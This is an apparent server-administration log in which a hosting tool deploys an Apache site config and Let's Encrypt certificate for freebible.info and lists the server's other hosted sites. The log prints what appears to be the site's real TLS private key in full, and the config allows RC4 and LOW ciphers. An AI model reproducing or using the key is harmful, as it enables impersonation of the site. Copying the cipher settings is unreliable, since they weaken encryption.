VwihtN6J8EbsPyQDCF5O+hwLG+c9ScngaUnXW6u9T0pTwB/863EqPfeQwxrBTQXl
dylaLXRomiBPnv4vEU1sKsdT0A4yBCUkz1lJd1Ah/eEHo+g6FSRHDEeufta9vde9
HQ4pMxYJCQBbP8MiFK2zKjXME8aYQCb6rsKlwzLSjndOIwBjFSMf/bKqSuU/OC9T
yX9uG6TpAgMBAAECggEABMLSbETa6/uxmoIdJdq/lg33UsWD8yB1dAqVqgsQ3x52
9GRB1hPu0y+nY6uVKARkepLNbuynTkP7yRzjpM6Evp2cqrp05UYakk/tRAWha5L5
v+DCApgGWuCWDESd+wPMlptdnRaVEU/Y9uSiTjau+vF5gZ5mOMXAV1vL2OVQ35y5
He+X8wRJWZnwo8a10+p5J2dH7Wg8g2PD6cdeFULT+mWBVNSnDPRANa6FxWdf2lK0
7or1hU7R5JkCi5GA7PqSLpXeAIoQ8a77solrOrT8loUvZcrmd7ppj//S/oiMvHxp
0zHb0ck+a7UXvUa9aJXPQgelDnAomFub3KZ+l1sCOQKBgQDsegje8mmAMXKzv5MX
WPwclOCWHZk2ojZ7NyfyCQZIj4KIzKz3tm2I5uLfIC4WRZTb5dhFskXNfCI/mflV
8H9FmGkDzBbnc436BsjNtXzLqH6ghi4j4HZ8pi/JzPMKdlEvOP+kVcsCKHuTkrKG
LA/+LBjoaK0TnoFcas3GzANTlwKBgQDIWJpv9tO/JoqPB6wH8By4NVYxqwPxij5t
5plVltxHS/XsyzkaktyuqoWi+XTVWaxwOwiuHzBqvu0SAT7+oIN5FA77PmjsmD47
nxSD2WlDd6eKMtwipzdaSc6KnRv8qJd2JVaYJBQY1UUUkXWJMpVqNyxLAL+sgDCQ
q0hc8gXbfwKBgQCPABEDORZBViWluvCpCr+STRkuzgFLv3Ywtp7qRzjMgjQOo67p
MSE1y2FgSmZ0Q2mMPIa3RuHdK/bN/T+BD6j3Hf5LNIyZNBCkJJwjgV9RDLhePCYE
vgUIxbpaTxydtATOCKrW5qaXzIFGMUzRxC17p5D8Yehf19ckWtXLJK3SSwKBgQCZ
W2lsRy4y5deuQJsowF3bi8hc4KF2JPJAwgGhiIc5dCXdino9oymV8iW1aOpL3gan
Kiksz+cJ7vgdjiKgWlIJPpdxLoa2hJsunEjh3Gw9Hrx6hxAG3qT6UgDuDfE8Z/j4
kQBGGWfg0m+8nNOxn6zLz0vyZbJS4xVJyDLuIrzlFQKBgQDsOED2+JFIP5bPZ9+x
RGi1uVglDPk5SDjXLxxK8g5IUGTt3UCeZTLVrrXMTE5hZEQMsfkb6OuoRgv6qexP
QD7WwnADYXhzSX+Owtl9XGlSnaXabQlTdwmRt6AAAqdD8mR01xOXmVrk1Zln9CFB
PxhzRQF25liFWA/wIurk2WsTwA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-18 16:06:28: 

chmod 755 /tmp/pkp460772; /tmp/pkp460772; rm /tmp/pkp460772

2026-05-18 16:06:28: 


dir=/etc/ssl/certs


2026-05-18 16:06:28: 

PUT: /tmp/pkp583842

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/freebible_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-18 16:06:28: 

chmod 755 /tmp/pkp583842; /tmp/pkp583842; rm /tmp/pkp583842

2026-05-18 16:06:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/freebible_www_info.conf 42

<VirtualHost *:80>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/freebible/www_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_error.log
    SetEnv pkp_uid	63
    SetEnv pkp_owner	freebible
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/freebible/www_secure_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-18 16:06:28: 

PUT: /tmp/pkp162480

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=freebible_www_info.conf
TARGET=/etc/apache2/sites-enabled/freebible_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/freebible/www_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_error.log
    SetEnv pkp_uid	63
    SetEnv pkp_owner	freebible
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/freebible/www_secure_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/freebible_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/freebible_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/freebible_www_info.conf= 1'
fi


2026-05-18 16:06:28: 

chmod 755 /tmp/pkp162480; /tmp/pkp162480; rm /tmp/pkp162480

2026-05-18 16:06:28: 




2026-05-18 16:06:28: 

PUT: /tmp/pkp192226

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-18 16:06:28: 

chmod 755 /tmp/pkp192226; /tmp/pkp192226; rm /tmp/pkp192226

2026-05-18 16:06:28: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-18 16:06:28: Establishing a connection
2026-05-18 16:06:28: 

PUT: /tmp/pkp403557

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-18 16:06:28: 

chmod 755 /tmp/pkp403557; /tmp/pkp403557; rm /tmp/pkp403557

2026-05-18 16:06:28: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-18 16:06:28: 

PUT: /tmp/pkp134891

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/freebible_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-18 16:06:28: 

chmod 755 /tmp/pkp134891; /tmp/pkp134891; rm /tmp/pkp134891

2026-05-18 16:06:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/freebible_www_info.conf	1381

<VirtualHost *:80>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/freebible/www_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_error.log
    SetEnv pkp_uid	63
    SetEnv pkp_owner	freebible
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/freebible/www_secure_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-18 16:06:28: 

PUT: /tmp/pkp834544

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-18 16:06:28: 

chmod 755 /tmp/pkp834544; /tmp/pkp834544; rm /tmp/pkp834544

2026-05-18 16:06:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt	5376
10:8a:64:20:ff:b3:09:43:71:1a:dd:f3:0d:c5:4a:a7

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBs2/AyBH7ashL26m4oc1HA+mMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTE4MTUwNzU2WhcNMjYwODE2MTUwNzU1WjAZMRcwFQYDVQQD
Ew5mcmVlYmlibGUuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALkRL4oQRpSXeOTuB+QLwiv3GVE1joWuGF7AylgtYwbiQDS4XeMdmAIyzS7p9QHA
6REzUo8Lkx6QQSdG3ygcLIJU67SOEFuPAjBcQPqrfjWB3wddhABPGaVX5zpoMvY/
tkSfxIxUJGza/kpXCKG03onwRuw/JAMIXk76HAsb5z1JyeBpSddbq71PSlPAH/zr
cSo995DDGsFNBeV3KVotdGiaIE+e/i8RTWwqx1PQDjIEJSTPWUl3UCH94Qej6DoV
JEcMR65+1r29170dDikzFgkJAFs/wyIUrbMqNcwTxphAJvquwqXDMtKOd04jAGMV
Ix/9sqpK5T84L1PJf24bpOkCAwEAAaOCAjAwggIsMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSRlQHX
GB2UN0kgT+AmrOassMuC/DAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQOO9aS
MzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5j
ci5vcmcvMC0GA1UdEQQmMCSCDmZyZWViaWJsZS5pbmZvghJ3d3cuZnJlZWJpYmxl
LmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy8zOS5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6
APgAdgCUTkOH+uzB74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z2AAAAZ471rMGAAAE
AwBHMEUCIQCgvr6yaoRm9iRKlzTw58/pVNEW+0ShLJEl9v2EbI9DsAIgZWbBAlot
nc8+I9UcYx+KgSk7D7uivjtXs1l+dDkMIwkAfgCoJsvjCsY1EkZTP+Bl8U8Z2W4Z
CBPEHdlteQCzEjxVJwAAAZ471rOmAAgAAAUAC3LDqAQDAEcwRQIhANZS3qk5pzoz
qvOQD06TjLC3cKuzNox9pCOxmrUZ3+S6AiBOk+7EYsbVFc7cBl+8wGrVDm8JoNig
tIXj4wfwQzALvzANBgkqhkiG9w0BAQsFAAOCAQEAGm6DKgwaf6R649vikh4OUBiK
j68/6sg+YRJ0H2ar7CBsIrB6uqt81d1Tts8zymnAx51fHW7qzDHzujfXNEqpamak
5ZhDewoQ2W1hT/cbCqxxVQm3XAQ379/fRSGktZo9bF/jCWyaSVSwoqoMVuSh42Mp
P+zUyM35dV1FPnuRll4U0g9pnSdEEcdR/O9SXAvoHPVtC6j+SWfShpJDHuAfZevJ
Y3w2YbrABbwPfyFSNgZVPMEHdhiZDnJNp4Ds5rauiUCo44GDA7IgSJmbwAeBDEPd
5gaICcP7KqXVUCtMNswha1Wpjnf2YdHVyKE+3mngxxeNHaT6stlz9T/o+PyTYQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQC5ES+KEEaUl3jk
7gfkC8Ir9xlRNY6FrhhewMpYLWMG4kA0uF3jHZgCMs0u6fUBwOkRM1KPC5MekEEn
Rt8oHCyCVOu0jhBbjwIwXED6q341gd8HXYQATxmlV+c6aDL2P7ZEn8SMVCRs2v5K
VwihtN6J8EbsPyQDCF5O+hwLG+c9ScngaUnXW6u9T0pTwB/863EqPfeQwxrBTQXl
dylaLXRomiBPnv4vEU1sKsdT0A4yBCUkz1lJd1Ah/eEHo+g6FSRHDEeufta9vde9
HQ4pMxYJCQBbP8MiFK2zKjXME8aYQCb6rsKlwzLSjndOIwBjFSMf/bKqSuU/OC9T
yX9uG6TpAgMBAAECggEABMLSbETa6/uxmoIdJdq/lg33UsWD8yB1dAqVqgsQ3x52
9GRB1hPu0y+nY6uVKARkepLNbuynTkP7yRzjpM6Evp2cqrp05UYakk/tRAWha5L5
v+DCApgGWuCWDESd+wPMlptdnRaVEU/Y9uSiTjau+vF5gZ5mOMXAV1vL2OVQ35y5
He+X8wRJWZnwo8a10+p5J2dH7Wg8g2PD6cdeFULT+mWBVNSnDPRANa6FxWdf2lK0
7or1hU7R5JkCi5GA7PqSLpXeAIoQ8a77solrOrT8loUvZcrmd7ppj//S/oiMvHxp
0zHb0ck+a7UXvUa9aJXPQgelDnAomFub3KZ+l1sCOQKBgQDsegje8mmAMXKzv5MX
WPwclOCWHZk2ojZ7NyfyCQZIj4KIzKz3tm2I5uLfIC4WRZTb5dhFskXNfCI/mflV
8H9FmGkDzBbnc436BsjNtXzLqH6ghi4j4HZ8pi/JzPMKdlEvOP+kVcsCKHuTkrKG
LA/+LBjoaK0TnoFcas3GzANTlwKBgQDIWJpv9tO/JoqPB6wH8By4NVYxqwPxij5t
5plVltxHS/XsyzkaktyuqoWi+XTVWaxwOwiuHzBqvu0SAT7+oIN5FA77PmjsmD47
nxSD2WlDd6eKMtwipzdaSc6KnRv8qJd2JVaYJBQY1UUUkXWJMpVqNyxLAL+sgDCQ
q0hc8gXbfwKBgQCPABEDORZBViWluvCpCr+STRkuzgFLv3Ywtp7qRzjMgjQOo67p
MSE1y2FgSmZ0Q2mMPIa3RuHdK/bN/T+BD6j3Hf5LNIyZNBCkJJwjgV9RDLhePCYE
vgUIxbpaTxydtATOCKrW5qaXzIFGMUzRxC17p5D8Yehf19ckWtXLJK3SSwKBgQCZ
W2lsRy4y5deuQJsowF3bi8hc4KF2JPJAwgGhiIc5dCXdino9oymV8iW1aOpL3gan
Kiksz+cJ7vgdjiKgWlIJPpdxLoa2hJsunEjh3Gw9Hrx6hxAG3qT6UgDuDfE8Z/j4
